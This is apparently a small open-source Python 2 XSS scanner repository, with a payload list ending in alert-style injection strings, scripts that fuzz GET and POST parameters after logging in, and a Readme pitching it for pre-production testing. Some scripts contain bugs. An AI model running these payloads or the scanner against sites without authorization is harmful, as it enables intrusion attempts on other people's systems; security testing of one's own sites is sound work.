16 | ">
17 | ">
18 | ">
19 | ">
20 | ';alert('XSS');//
--------------------------------------------------------------------------------
/xss_finder /src/How_to.txt:
--------------------------------------------------------------------------------
1 | What to do in Config File:
2 |
3 | [genera]
4 | -Change the base URL to your website name with out the protocol (no http/https)
5 | -Leave "expected_xss_responses" blank to test for the payload being used
6 | -Please enter the form key parameter name in "form_key" (this script only work if there is one for key parameter name consistent thorough out the website)
7 | -multi threading some time leads to false positive , so better leave it to 1 (trade off accuracy over speed)
8 |
9 | [files]
10 | -after reading all the URL(s), parameter from command line in POST url everything is stored in "sites" file
11 | -in GET url case everything is stored in "get_sites" files
12 | -payload are define in "payloads" file
13 |
14 | [login]
15 | -"login_email" will contain your email id to be used while loggin you in
16 | -"login_password" will beyour password for the above email id
17 | -"login_url" would be the POST/GEt url where the email id and password have to be submitted with form key token for successful login
18 | -"formkey_url" would be the GET Url for the page from where the script has to fetch for key token.
19 |
20 |
--------------------------------------------------------------------------------
/xss_finder /src/cfghlp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 |
4 | import ConfigParser
5 |
6 | # -------------------------------------
7 | class ConfigHelper:
8 | # -------------------------------------
9 |
10 | _configObj = None
11 |
12 | # -------------------------------------
13 | def __init__(self, configFile=None, debug=False):
14 | # -------------------------------------
15 |
16 | self._configObj = ConfigParser.SafeConfigParser()
17 | self._configObj.read(configFile)
18 |
19 | if debug == True:
20 | for section in self._configObj.sections():
21 | for option in self._configObj.options(section):
22 | print '[%s] %s = %s' % (section,option,self._configObj.get(section,option))
23 |
24 | # -------------------------------------
25 | def getSections(self):
26 | # -------------------------------------
27 |
28 | return self._configObj.sections()
29 |
30 | # -------------------------------------
31 | def getOptions(self,section):
32 | # -------------------------------------
33 |
34 | if section not in self._configObj.sections():
35 | return None
36 | else:
37 | return self._configObj.options(section)
38 |
39 | # -------------------------------------
40 | def get(self,section,option):
41 | # -------------------------------------
42 |
43 | if section not in self._configObj.sections() or option not in self._configObj.options(section):
44 | return None
45 | else:
46 | return self._configObj.get(section,option)
47 |
--------------------------------------------------------------------------------
/xss_finder /src/cli_param.py:
--------------------------------------------------------------------------------
1 | __author__ = 'mohd.siddiqui'
2 | import sys, re, urllib2, json, time, cookielib, urllib
3 | from datetime import datetime
4 | #from threadpool import *
5 | from cfghlp import ConfigHelper
6 |
7 |
8 |
9 | fk_url = str(raw_input("\nType the URL of page where the form is: "))
10 | ssl = fk_url[:5]
11 | #print ssl
12 | if ssl == "https":
13 | set_ssl = "true"
14 | else:
15 | set_ssl = "false"
16 |
17 | post_url = str(raw_input("\nType in th post URl: "))
18 | try:
19 | no_of_params = int(raw_input("\nEnter the no. of parameters that will be submitted(integer only): "))
20 | except ValueError:
21 | print "\nYou had to enter a no. please re run the script and be carefull \n"
22 | sys.exit(0)
23 | #print no_of_params
24 | a_param = 0
25 | params = dict()
26 | while a_param < no_of_params:
27 | #print a_param
28 | key = str(raw_input("\n Enter the param: "))
29 | value = str(raw_input("\n Enter the corresponding value: "))
30 | params[key] = value
31 | a_param = a_param + 1
32 | p = json.dumps(params, sort_keys=True, indent=4)
33 |
34 | login_dict = {}
35 | login_dict = {"request": {}, "response": {}}
36 | #print login_dict
37 | #login_dict["req"]={}
38 | login_dict["request"]["mode"] = 'POST'
39 | login_dict["request"]["fk_url"] = fk_url
40 | login_dict["request"]["use_ssl"] = set_ssl
41 | login_dict["request"]["params"] = params
42 | login_dict["request"]["post_url"] = post_url
43 | #print login_dict
44 | login_dict["response"]["mode"] = "GET"
45 | login_dict["response"]["url"] = fk_url
46 | login_dict["response"]["params"] = ""
47 |
48 | s = json.dumps(login_dict)
49 | f = open("sites", 'a')
50 | f.write(s + "\n")
51 | f.close()
52 |
--------------------------------------------------------------------------------
/Readme.txt:
--------------------------------------------------------------------------------
1 | Hey Everyone,
2 |
3 | I am releasing my script to check XSS (Cross Site Scripting) in any given Url.
4 | Its a simple script with event driven menu where you can test all your GET and POST urls.
5 | I wrote the whole code in python but to make it simple for everyone to run it I wrote a small shell script which you just need to run (follow instruction) and it will take care of everything from taking inputs to testing. I tried minimum human intervention .
6 | You just run the script go have a cup of coffee and it will do the rest of work and will inform you if it finds anything suspicious.
7 | The reason I started with XSS is because its most common vulnerability in our website as well as in all other websites as well.
8 |
9 | How to use the script:
10 |
11 | 1) Unzip the attached file and change your current working directory to the folder you have unzipped in command prompt.
12 | 2) Please read the "How_to" file for making config changes.
13 | 3) In command prompt type "sh xss.sh"
14 | 4) It will take you through a event driven menu to get the URL you want to test
15 | 5) Then it will start testing the given URL ( It can take upto 1 - 5 minutes depending upon the no. of parameters and payload )
16 | 6) If any of the parameter in URL is vulnerable then you will see it in command prompt else you will see "Nothing Found " message .
17 |
18 | Some dependencies/configuration:
19 | 1)xss.cfg file contains basic configuration please make required changes there before running the script.
20 |
21 | Hope this will make your life easier and will add extra layer of security ,so that everything can be tested with this first before being pushed to prod.
22 |
23 | Note:I would be releasing its web version soon with many changes.
24 |
25 | #Contact info:"m.shadab.sidd@gmail.com"
26 |
--------------------------------------------------------------------------------
/xss_finder /src/Readme.txt:
--------------------------------------------------------------------------------
1 | Hey Everyone,
2 |
3 | I am releasing my script to check XSS (Cross Site Scripting) in any given Url.
4 | Its a simple script with event driven menu where you can test all your GET and POST urls.
5 | I wrote the whole code in python but to make it simple for everyone to run it I wrote a small shell script which you just need to run (follow instruction) and it will take care of everything from taking inputs to testing. I tried minimum human intervention .
6 | You just run the script go have a cup of coffee and it will do the rest of work and will inform you if it finds anything suspicious.
7 | The reason I started with XSS is because its most common vulnerability in our website as well as in all other websites as well.
8 |
9 | How to use the script:
10 |
11 | 1) Unzip the attached file and change your current working directory to the folder you have unzipped in command prompt.
12 | 2) Please read the "How_to" file for making config changes.
13 | 3) In command prompt type "sh xss.sh"
14 | 4) It will take you through a event driven menu to get the URL you want to test
15 | 5) Then it will start testing the given URL ( It can take upto 1 - 5 minutes depending upon the no. of parameters and payload )
16 | 6) If any of the parameter in URL is vulnerable then you will see it in command prompt else you will see "Nothing Found " message .
17 |
18 | Some dependencies/configuration:
19 | 1)xss.cfg file contains basic configuration please make required changes there before running the script.
20 |
21 | Hope this will make your life easier and will add extra layer of security ,so that everything can be tested with this first before being pushed to prod.
22 |
23 | Note:I would be releasing its web version soon with many changes.
24 |
25 | #Contact info:"m.shadab.sidd@gmail.com"
26 |
27 |
28 |
--------------------------------------------------------------------------------
/xss_finder /src/xss.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | filename="sites";
3 | echo '\n\n What do you want to test ?'
4 | echo '\n1. GET urls (URLs were params are in url )\n'
5 | echo '2. POST urls ()\n'
6 | echo ' Your Choice'
7 | read test
8 |
9 | if [ $test -eq '2' ]
10 | then
11 | size=$(ls -l $filename | awk '{ print $5 }')
12 | #echo $size
13 | if [ $size -gt '0' ]
14 | then
15 | echo '\nThere is already some URL to test in "sites" file \n1.Do you want to test them \n2. Do you want to test a new URL ?\n'
16 | read input
17 | if [ $input -eq '1' ]
18 | then
19 | python check_domain.py
20 | a=$?
21 | if [ $a -eq '1' ]
22 | then
23 | python post_xss.py
24 | else
25 | #python cli_param.py
26 | exit 1
27 | fi
28 | elif [ $input -eq '2' ]
29 | then
30 | #echo 'Do you want to enter parameters in CLI mode or want to edit '
31 | echo '\n\nRunning the configuration file and removing the previous content copying all your previous content to old_sites file'
32 | cat sites>>old_sites
33 | > sites
34 | python cli_param.py
35 | #python post_xss.py
36 | #exit 1
37 | else
38 | echo '\n Wrong Input'
39 | fi
40 | elif [ $size -eq '0' ]
41 | then
42 | echo 'Running the configuration file as there is nothing to test '
43 | python check_domain.py
44 | python cli_param.py
45 | #python test_xss.py
46 | fi
47 |
48 | elif [ $test -eq '1' ]
49 | then
50 | python get_xss.py
51 | exit 1
52 | else
53 | echo '\nWrong input re-run the script\n'
54 | fi
55 | python post_xss.py
--------------------------------------------------------------------------------
/xss_finder /src/threadpool.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | from Queue import Queue
4 | from threading import Thread
5 |
6 | # -------------------------------------
7 | class ThreadPoolWorker(Thread):
8 | # -------------------------------------
9 |
10 | tasks_queue = None
11 |
12 | # -------------------------------------
13 | def __init__(self, tasks_queue):
14 | # -------------------------------------
15 |
16 | # Init
17 | Thread.__init__(self)
18 |
19 | self.tasks_queue = tasks_queue
20 |
21 | # Start daemon thread
22 | self.daemon = True
23 | self.start()
24 |
25 | # -------------------------------------
26 | def __del__(self):
27 | # -------------------------------------
28 |
29 | pass
30 |
31 | # -------------------------------------
32 | def run(self):
33 | # -------------------------------------
34 |
35 | # Endless loop
36 | while True:
37 | # Fetch item from queue
38 | func, args, kargs = self.tasks_queue.get()
39 |
40 | # Execute task
41 | #func(*args, **kargs)
42 | try:
43 | func(*args, **kargs)
44 | except Exception, e:
45 | print 'Args',func, args, kargs
46 | print 'Exception',e
47 |
48 | # Mark task as completed (remove from queue)
49 | self.tasks_queue.task_done()
50 |
51 | # -------------------------------------
52 | class ThreadPool:
53 | # -------------------------------------
54 |
55 | num_threads = None
56 | tasks_queue = None
57 |
58 | DEFAULT_NUM_THREADS = 5
59 |
60 | # -------------------------------------
61 | def __init__(self, num_threads=DEFAULT_NUM_THREADS):
62 | # -------------------------------------
63 |
64 | # Init
65 | self.num_threads = num_threads
66 | self.tasks_queue = Queue(num_threads)
67 |
68 | # Create 'num_threads' worker threads
69 | for i in range(num_threads):
70 | ThreadPoolWorker(self.tasks_queue)
71 |
72 | # -------------------------------------
73 | def enqueue(self, func, *args, **kargs):
74 | # -------------------------------------
75 |
76 | # Add a task to the queue
77 | self.tasks_queue.put((func, args, kargs))
78 |
79 | # -------------------------------------
80 | def wait(self):
81 | # -------------------------------------
82 |
83 | # Wait for completion of all the tasks in the queue
84 | self.tasks_queue.join()
85 |
86 | # -------------------------------------
87 | if __name__ == '__main__':
88 | # -------------------------------------
89 |
90 | print 'Error : This python script cannot be run as a standalone program.'
91 |
--------------------------------------------------------------------------------
/xss_finder /src/get_xss.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 |
4 |
5 | # Imports
6 | import sys, re, urllib2, urlparse, json, time, httplib,cookielib,urllib
7 | from threadpool import *
8 |
9 |
10 | # Config
11 | DEBUG = True
12 | MAX_THREAD_COUNT = 10
13 | SITES_FILENAME = 'sites'
14 | PAYLOADS_FILENAME = 'get_payload'
15 | SCHEME_DELIMITER = '://'
16 | #XSS_RESPONSE = "alert('XSS')"
17 |
18 | cj = cookielib.CookieJar()
19 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
20 |
21 | intt=0
22 | # -------------------------------------
23 | def attack(url, payload):
24 | # -------------------------------------
25 |
26 | t_start = time.time()
27 | print "..."
28 | return_dict = dict()
29 | return_dict['url'] = url
30 | #return_dict['url_data'] = data
31 | return_dict['vulnerability'] = False
32 | #post_url='http://test.com' # the url in which XSS test needs to be done and it is different from url where we posted params
33 | try:
34 | return_dict['method'] = 'GET'
35 | XSS_RESPONSE=payload
36 | #print "payload--->", payload
37 | attack= urllib2.urlopen(url).read()
38 | #print "\nURL being hit :", url
39 | index = attack.find(XSS_RESPONSE)
40 | buffer = 20
41 | print_url=url.replace("<","<")
42 | attack = attack.split("\n");
43 | len(attack)
44 | #print "\nurl->\n",url
45 | if index != -1:
46 | return_dict[' vulnerability'] = True
47 | print "\nThis url seems vulnerable\n\n",print_url
48 | return_dict['vulnerability_data'] = line.strip()
49 | #print "payload found\n", attack[index-buffer:index+len(XSS_RESPONSE)+buffer]
50 | intt=intt+1
51 | print intt
52 | # break
53 |
54 | #print "here"
55 | t_end = time.time()
56 | return_dict['time'] = round((t_end - t_start), 2)
57 |
58 | except KeyboardInterrupt, ke:
59 | sys.exit(0)
60 | except Exception, e:
61 | return_dict['exception'] = str(e)
62 |
63 |
64 | # -------------------------------------
65 | if __name__ == '__main__':
66 | # -------------------------------------
67 |
68 | # Init
69 | t_global_start = time.time()
70 |
71 | sites_file = open(SITES_FILENAME)
72 | payloads_file = open(PAYLOADS_FILENAME)
73 | threadpool = ThreadPool(MAX_THREAD_COUNT)
74 |
75 | # Load SITES and PAYLOADS files
76 | sites = []
77 | input = str(raw_input("\nEnter the URLS you want to test\n"))
78 | sites = []
79 | sites = input
80 | print "\nWorking..."
81 | payloads = []
82 | for payload in payloads_file:
83 | payloads.append(payload[:-1])
84 |
85 | # Loop through sites
86 |
87 | # Extract Base URL and Parameters from site
88 | parse_url = urlparse.urlparse(sites)
89 | base_url = '%s%s%s%s' % (parse_url.scheme, SCHEME_DELIMITER, parse_url.netloc, parse_url.path)
90 | #print base_url
91 | param_parse_list = urlparse.urlparse(sites)[4].split('&')
92 | param_dict = dict()
93 | for param_parse_entry in param_parse_list:
94 | tmp = param_parse_entry.split('=')
95 | param_dict[tmp[0]] = tmp[1]
96 |
97 | # Loop through payloads
98 | for payload in payloads:
99 | # Loop through parameters
100 | #print payload
101 | for k1, v1 in iter(sorted(param_dict.iteritems())):
102 | # Build GET param string and POST param dict
103 | get_params = ''
104 | post_params = dict()
105 |
106 | for k2, v2 in iter(sorted(param_dict.iteritems())):
107 | if k1 == k2:
108 | get_params += '%s=%s&' % (k2, payload)
109 | post_params[k2] = payload
110 | else:
111 | get_params += '%s=%s&' % (k2, v2)
112 | post_params[k2] = v2
113 |
114 | get_params = get_params[:-1]
115 | #print get_params
116 | # Enqueue GET attack
117 | get_attack_url = '%s?%s' % (base_url, get_params)
118 | threadpool.enqueue(attack, get_attack_url, payload)
119 |
120 | #attack(get_attack_url, payload)
121 |
122 |
123 |
124 | # Wait for threadpool
125 | threadpool.wait()
126 |
127 | # Exit
128 | t_global_end = time.time()
129 | #if DEBUG:
130 | #print "int->",int
131 | if(intt == 0):
132 | print "\n\tNothing Found! \n"
133 |
134 | print 'Time taken : %.2f seconds' % (t_global_end - t_global_start)
135 |
--------------------------------------------------------------------------------
/xss_finder /src/get_regg.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 |
4 |
5 | # Imports
6 | import sys, re, urllib2, urlparse, json, time, httplib,cookielib,urllib
7 | #from threadpool import *
8 |
9 | i=0
10 | # Config
11 | DEBUG = True
12 | MAX_THREAD_COUNT = 1
13 | SITES_FILENAME = str(sys.argv[1])
14 | #print SITES_FILENAME
15 | #sys.exit()
16 | PAYLOADS_FILENAME = 'get_payload'
17 | SCHEME_DELIMITER = '://'
18 | XSS_RESPONSE = "alert('XSS')"
19 |
20 | cj = cookielib.CookieJar()
21 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
22 |
23 | intt=0
24 | # -------------------------------------
25 | def attack(url, payload):
26 | # -------------------------------------
27 |
28 | t_start = time.time()
29 | #print "in attak"
30 | return_dict = dict()
31 | return_dict['url'] = url
32 | #print "..."
33 | #return_dict['url_data'] = data
34 | return_dict['vulnerability'] = False
35 | #print "\n url",url
36 | #print "\n payload" ,payload
37 | #print "going to try\n"
38 | #post_url='http://site.com ' # the url in which XSS test needs to be done and it is different from url where we posted params
39 | try:
40 | return_dict['method'] = 'GET'
41 | XSS_RESPONSE=payload
42 | #print "payload--->", payload
43 | attack= urllib2.urlopen(url).read()
44 | #print "\nURL being hit :",url
45 | print_url=url.replace("<","<")
46 | print "\nURL being hit :",print_url
47 | #print XSS_RESPONSE
48 | index = attack.find(XSS_RESPONSE)
49 |
50 | buffer = 20
51 |
52 | attack = attack.split("\n");
53 | len(attack)
54 | #print "\nurl->\n",url
55 | if index != -1:
56 | intt +=1
57 | return_dict[' vulnerability'] = True
58 | print "\n\n--------------------------------------------------------------------------"
59 | print "\nThis url seems vulnerable\n\n",url
60 | print "--------------------------------------------------------------------------\n\n"
61 | #return_dict['vulnerability_data'] = line.strip()
62 | #print "payload found\n", attack[index-buffer:index+len(XSS_RESPONSE)+buffer]
63 |
64 | #print intt
65 | # break
66 |
67 | #print "here"
68 | t_end = time.time()
69 | return_dict['time'] = round((t_end - t_start), 2)
70 |
71 | except KeyboardInterrupt, ke:
72 | sys.exit(0)
73 | except Exception, e:
74 | return_dict['exception'] = str(e)
75 |
76 |
77 | # -------------------------------------
78 | if __name__ == '__main__':
79 | # -------------------------------------
80 | print "Python";
81 | #exit(0);
82 | # Init
83 | t_global_start = time.time()
84 |
85 | sites_file = open(SITES_FILENAME)
86 | payloads_file = open(PAYLOADS_FILENAME)
87 | #threadpool = ThreadPool(MAX_THREAD_COUNT)
88 |
89 | # Load SITES and PAYLOADS files
90 | sites = []
91 | # input = str(raw_input("\nEnter the URLS you want to test\n"))
92 | # sites = []
93 |
94 | for site in sites_file:
95 | sites.append(site[:-1])
96 | #print "\nsites:", sites
97 | #sites = input
98 | print "\nWorking..."
99 | sys.stdout.flush()
100 | #exit(0);
101 | payloads = []
102 |
103 | for payload in payloads_file:
104 | payloads.append(payload[:-1])
105 |
106 | # Loop through sites
107 |
108 | # Extract Base URL and Parameters from site
109 | #print "sites len : " + str(len(sites))
110 | try:
111 | for site in sites:
112 | #print site
113 | parse_url = urlparse.urlparse(site)
114 |
115 | #print mode
116 | base_url = '%s%s%s%s' % (parse_url.scheme, SCHEME_DELIMITER, parse_url.netloc, parse_url.path)
117 | #print base_url
118 | param_parse_list = urlparse.urlparse(site)[4].split('&')
119 | #print "\nparam_parse_list:",param_parse_list
120 | param_dict = dict()
121 | for param_parse_entry in param_parse_list:
122 | tmp = param_parse_entry.split('=')
123 | param_dict[tmp[0]] = tmp[1]
124 |
125 | # Loop through payloads
126 | #print payloads
127 |
128 | for payload in payloads:
129 | # Loop through parameters
130 | #print i
131 | for k1, v1 in iter(sorted(param_dict.iteritems())):
132 | # Build GET param string and POST param dict
133 | get_params = ''
134 | #post_params = dict()
135 | for k2, v2 in iter(sorted(param_dict.iteritems())):
136 | if k1 == k2:
137 | get_params += '%s=%s&' % (k2, payload)
138 | #post_params[k2] = payload
139 | else:
140 | get_params += '%s=%s&' % (k2, v2)
141 | #post_params[k2] = v2
142 |
143 | get_params = get_params[:-1]
144 | #print get_params
145 | # Enqueue GET attack
146 | #base_url=mode + base_url
147 | #print mode
148 | #print base_url
149 | get_attack_url = '%s?%s' % (base_url, get_params)
150 | print_payload=payload.replace("<","<")
151 | #print "Testing with payload>", print_payload; # to see what payload is being used
152 | sys.stdout.flush()
153 | #threadpool.enqueue(attack, get_attack_url, payload)
154 | #print "..."
155 | attack(get_attack_url, payload)
156 |
157 | # Enqueue POST attack
158 | #post_attack_url = '%s' % (base_url)
159 |
160 | #threadpool.enqueue(attack, post_attack_url, post_params)
161 | #attack(post_attack_url,post_params)
162 |
163 | # Wait for threadpool
164 | #threadpool.wait()
165 | except Exception,e:
166 | print "\nSome Error , \n\n Please re run the script ",e
167 | # Exit
168 | t_global_end = time.time()
169 | #if DEBUG:
170 | #print "int->",int
171 | if(intt == 0):
172 | print "\n\tNothing Found! \n"
173 |
174 | print 'Time taken : %.2f seconds' % (t_global_end - t_global_start)
175 |
--------------------------------------------------------------------------------
/xss_finder /src/xss.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 |
4 | # Imports
5 | import sys, re, urllib2, json, time, cookielib, urllib
6 | from datetime import datetime
7 | from copy import deepcopy
8 | from threadpool import *
9 | from cfghlp import ConfigHelper
10 |
11 | # Config
12 | CONFIG_FILE = 'xss.cfg'
13 | config = None
14 | intt=0
15 | # Vars
16 | protocol_secure = 'https://'
17 | protocol_nonsecure = 'http://'
18 |
19 | # -------------------------------------
20 | def debug(message):
21 | # -------------------------------------
22 |
23 | if config.get('display', 'debug').lower() == 'true':
24 | print message
25 |
26 | # -------------------------------------
27 | def jsonPrint(json_dict):
28 | # -------------------------------------
29 |
30 | if config.get('display', 'json_pretty_print').lower() == 'true':
31 | print json.dumps(json_dict, sort_keys=True, indent=4)
32 | else:
33 | print json.dumps(json_dict, sort_keys=True)
34 |
35 | # -------------------------------------
36 | def submit(opener, submit_dict):
37 | # -------------------------------------
38 |
39 | # Init
40 | request_mode = None
41 | request_url = None
42 | request_params = None
43 | response_mode = None
44 | response_url = None
45 | response_params = None
46 |
47 | if 'request' in submit_dict:
48 | request_protocol = None
49 | if submit_dict['request'].has_key('use_ssl') and submit_dict['request']['use_ssl'].lower() == 'true':
50 | request_protocol = protocol_secure
51 | else:
52 | request_protocol = protocol_nonsecure
53 | request_mode = submit_dict['request']['mode']
54 | request_url = request_protocol + config.get('general', 'base_url') + submit_dict['request']['url']
55 | request_params = submit_dict['request']['params']
56 | if 'response' in submit_dict:
57 | response_protocol = None
58 | if submit_dict['response'].has_key('use_ssl') and submit_dict['response']['use_ssl'].lower() == 'true':
59 | response_protocol = protocol_secure
60 | else:
61 | response_protocol = protocol_nonsecure
62 | response_mode = submit_dict['response']['mode']
63 | response_url = response_protocol + config.get('general', 'base_url') + submit_dict['response']['url']
64 | response_params = submit_dict['response']['params']
65 |
66 | return_dict = {}
67 | return_dict['request'] = {'url': request_url, 'mode': request_mode, 'params': request_params}
68 | if response_url and response_url != request_url:
69 | return_dict['request_read'] = {'url': response_url, 'mode': response_mode, 'params': response_params}
70 | t_start = time.time()
71 |
72 | try:
73 | # Submit Request
74 | [submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
75 | check_url=submit_url+'?'+submit_params
76 | #print "\nscript url\n",check_url
77 | response = opener.open(check_url)
78 | #print response.read()
79 |
80 | # If Response URL is specified, Submit Response
81 | if response_url and response_url != request_url:
82 | [submit_url, submit_params] = buildRequest(response_mode, response_url, response_params)
83 | response = opener.open(submit_url, submit_params)
84 | if response_url != response.geturl():
85 | return_dict['request_read']['redirect_url'] = response.geturl()
86 |
87 | # Read Response
88 | return_dict['response'] = response.readlines()
89 |
90 | except KeyboardInterrupt:
91 | sys.exit(0)
92 | except Exception, e:
93 | return_dict['exception'] = str(e)
94 | finally:
95 | t_end = time.time()
96 | return_dict['time'] = round((t_end - t_start), 5)
97 | return_dict['timestamp'] = datetime.now().isoformat(' ')
98 |
99 | return return_dict
100 |
101 | #--------------------------------------
102 | def buildRequest(mode, url, data):
103 | # -------------------------------------
104 |
105 | if mode == 'GET':
106 | get_url = '%s?' % (url)
107 | for k, v in data.iteritems():
108 | get_url += '%s=%s&' % (k, v)
109 | if get_url[-1] in ['?', '&']:
110 | get_url = get_url[:-1]
111 | return [get_url, None]
112 | elif mode == 'POST':
113 | return [url, urllib.urlencode(data)]
114 | else:
115 | return [None, None]
116 |
117 | # -------------------------------------
118 |
119 | # -------------------------------------
120 | def login(openers):
121 | # -------------------------------------
122 |
123 |
124 |
125 | response_protocol="http://"
126 |
127 |
128 | resp_url=response_protocol + config.get('general','base_url') + config.get('login','fk_url')
129 | resp=openers['loggedin'].open(resp_url)
130 |
131 | #print "fk_url ",resp_url
132 | page=resp.read()
133 | __FK = page[page.find("__FK"):].split("\"",4)[2] #for finding FK value
134 | email=config.get('login', 'login_email')
135 | password=config.get('login', 'login_password')
136 | opener = openers['loggedin']
137 | url=response_protocol+config.get('general', 'base_url') + config.get('login', 'login_url')
138 | login_dict = {'request': {'mode': 'POST', 'url': url, 'use_ssl': 'false',
139 | 'params': {'__FK': __FK,
140 | 'email':email,
141 | 'password': password}}}
142 | request_mode = login_dict['request']['mode']
143 | request_url = login_dict['request']['url']
144 | request_params = login_dict['request']['params']
145 | return_dict = {}
146 | return_dict['request'] = {'url': request_url, 'mode': request_mode, 'params': request_params}
147 | [submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
148 | response = opener.open(submit_url,submit_params)
149 | return_dict['response'] = response.readlines()
150 | submit_response=return_dict
151 | submit_response['response'] = json.loads(submit_response['response'][0])
152 | if submit_response['response']['status'].lower() != 'ok':
153 | jsonPrint(submit_response)
154 | sys.exit(0)
155 | else:
156 | print "\nYou are now logged in \n"
157 |
158 | # -------------------------------------
159 | def attack(site_dict, openers):
160 | # -------------------------------------
161 |
162 |
163 | opener = openers['loggedin']
164 | # Submit request and get response
165 | submit_response = submit(opener, site_dict)
166 | #print "\nsubmit_response\n",submit_response
167 | # Select response (in sites or default)
168 | expected_xss_responses = "alert('XSS')"
169 | #print "expected_xss_responses",expected_xss_responses
170 | # Build vulnerability dict
171 | #vulnerability_dict = deepcopy(submit_response)
172 | #print "\nvulnerability_dic",vulnerability_dic
173 | vulnerability_dict['expected_xss_responses'] = expected_xss_responses
174 | vulnerability_dict['vulnerability'] = []
175 | #print "vulnerability_dict['response']",vulnerability_dict
176 | # Loop through response and search for vulnerabilities
177 | if vulnerability_dict.has_key('response'):
178 | a=1
179 | print "a=====",a
180 | if vulnerability_dict.has_key('response'):
181 | del(vulnerability_dict['response'])
182 | #print "submit_response['response']---",submit_response['response']
183 | for line_number, line in enumerate(submit_response['response']):
184 | for expected_xss_response in expected_xss_responses:
185 | if re.search(expected_xss_response.upper(), line.upper()):
186 | vulnerability_dict['vulnerability'].append({'line_number': line_number, 'line': line.strip()})
187 |
188 | # Output
189 | if config.get('display', 'only_show_vulnerable').lower() == 'false' or len(vulnerability_dict['vulnerability']) > 0:
190 | jsonPrint(vulnerability_dict)
191 | intt=1
192 | else:
193 | print "...."
194 |
195 |
196 |
197 | # -------------------------------------
198 | def attackSequence(sites, payloads, openers):
199 | # -------------------------------------
200 |
201 | # Init
202 | threadpool = ThreadPool(int(config.get('general', 'max_thread_count')))
203 | opener=openers['loggedin']
204 |
205 | for site in sites:
206 | site_dict = json.loads(site)
207 | #print "\n-------->",site_dict
208 | fk_url=site_dict['request']['fk_url'] #not response url instead fkurl changes need to be made
209 | #print "\nfk_url-->",fk_url
210 | resp=opener.open(fk_url)
211 | page=resp.read()
212 | __FK = page[page.find("__FK"):].split("\"",4)[2] #for finding FK value
213 | #print __FK
214 | __FK = urllib.quote_plus(__FK)
215 | #print "\n__FK ",__FK
216 | print "\nWorking...."
217 | for payload in payloads:
218 | for param_k in sorted(site_dict['request']['params'].iterkeys()):
219 | attack_dict = deepcopy(site_dict)
220 | attack_dict['request']['params']['__FK'] =__FK
221 | #print "\n ------------->",attack_dict
222 |
223 | attack_dict['request']['params'][param_k] = payload
224 | threadpool.enqueue(attack, attack_dict, openers)
225 | #print "sites -------->\n",sites
226 |
227 | # Wait for threadpool
228 | threadpool.wait()
229 |
230 | # -------------------------------------
231 | if __name__ == '__main__':
232 | # -------------------------------------
233 |
234 | # Parse Config
235 | config = ConfigHelper(CONFIG_FILE, False)
236 |
237 | # Init
238 | debug('Initializing script ...')
239 | t_global_start = time.time()
240 |
241 | # Load SITES and PAYLOADS files
242 | sites = []
243 | sites_file = open(config.get('files', 'sites_file'))
244 | for site in sites_file:
245 | site = site[:-1].strip()
246 | if site[0] != '#':
247 | sites.append(site)
248 |
249 | payloads = []
250 | payloads_file = open(config.get('files', 'payloads_file'))
251 | for payload in payloads_file:
252 | payload = payload[:-1].strip()
253 | if payload[0] != '#':
254 | payloads.append(payload[:-1])
255 |
256 | # Create Openers
257 | openers = dict()
258 | print "\nYou are being logged into Test.com make sure you enter testbed urls (else changed config file)\n"
259 | debug('Creating guest session ...')
260 | openers['guest'] = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
261 | debug('Creating logged in session ...')
262 | openers['loggedin'] = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
263 |
264 |
265 | login(openers)
266 | #take_input()
267 |
268 |
269 | # Loop through SITES file
270 | debug('\nStarting attack sequence ...')
271 | attackSequence(sites, payloads, openers)
272 |
273 |
274 | # Exit
275 | t_global_end = time.time()
276 | if (intt=='0'):
277 | print "\nNo Vulnerabilities found\n"
278 | debug('Time taken : %.2f seconds' % (t_global_end - t_global_start))
--------------------------------------------------------------------------------
/xss_finder /src/post_xss.py:
--------------------------------------------------------------------------------
1 | __author__ = 'mohd.siddiqui'
2 | #!/usr/bin/env python
3 |
4 |
5 | # Imports
6 | import sys, re, urllib2, json, time, cookielib, urllib
7 | from datetime import datetime
8 | from copy import deepcopy
9 | from threadpool import *
10 | from cfghlp import ConfigHelper
11 |
12 | # Config
13 | CONFIG_FILE = 'xss.cfg'
14 | config = None
15 | intt=0
16 | # Vars
17 | protocol_secure = 'https://'
18 | protocol_nonsecure = 'http://'
19 | #XSS_RESPONSE="alert('XSS')"
20 |
21 | # -------------------------------------
22 | def debug(message):
23 | # -------------------------------------
24 |
25 | if config.get('display', 'debug').lower() == 'true':
26 | print message
27 |
28 | # -------------------------------------
29 | def jsonPrint(json_dict):
30 | # -------------------------------------
31 |
32 | if config.get('display', 'json_pretty_print').lower() == 'true':
33 | print json.dumps(json_dict, sort_keys=True, indent=4)
34 | else:
35 | print json.dumps(json_dict, sort_keys=True, indent=4)
36 |
37 | # -------------------------------------
38 | def submit(opener, submit_dict):
39 | # -------------------------------------
40 |
41 | # Init
42 | request_mode = None
43 | request_url = None
44 | request_params = None
45 | response_mode = None
46 | response_url = None
47 | response_params = None
48 |
49 | if 'request' in submit_dict:
50 | request_protocol = None
51 | if submit_dict['request'].has_key('use_ssl') and submit_dict['request']['use_ssl'].lower() == 'true':
52 | request_protocol = protocol_secure
53 | else:
54 | request_protocol = protocol_nonsecure
55 | request_mode = submit_dict['request']['mode']
56 | request_url = request_protocol + config.get('general', 'base_url') + submit_dict['request']['url']
57 | request_params = submit_dict['request']['params']
58 | if 'response' in submit_dict:
59 | response_protocol = None
60 | if submit_dict['response'].has_key('use_ssl') and submit_dict['response']['use_ssl'].lower() == 'true':
61 | response_protocol = protocol_secure
62 | else:
63 | response_protocol = protocol_nonsecure
64 | response_mode = submit_dict['response']['mode']
65 | response_url = response_protocol + config.get('general', 'base_url') + submit_dict['response']['url']
66 | response_params = submit_dict['response']['params']
67 |
68 | return_dict = {}
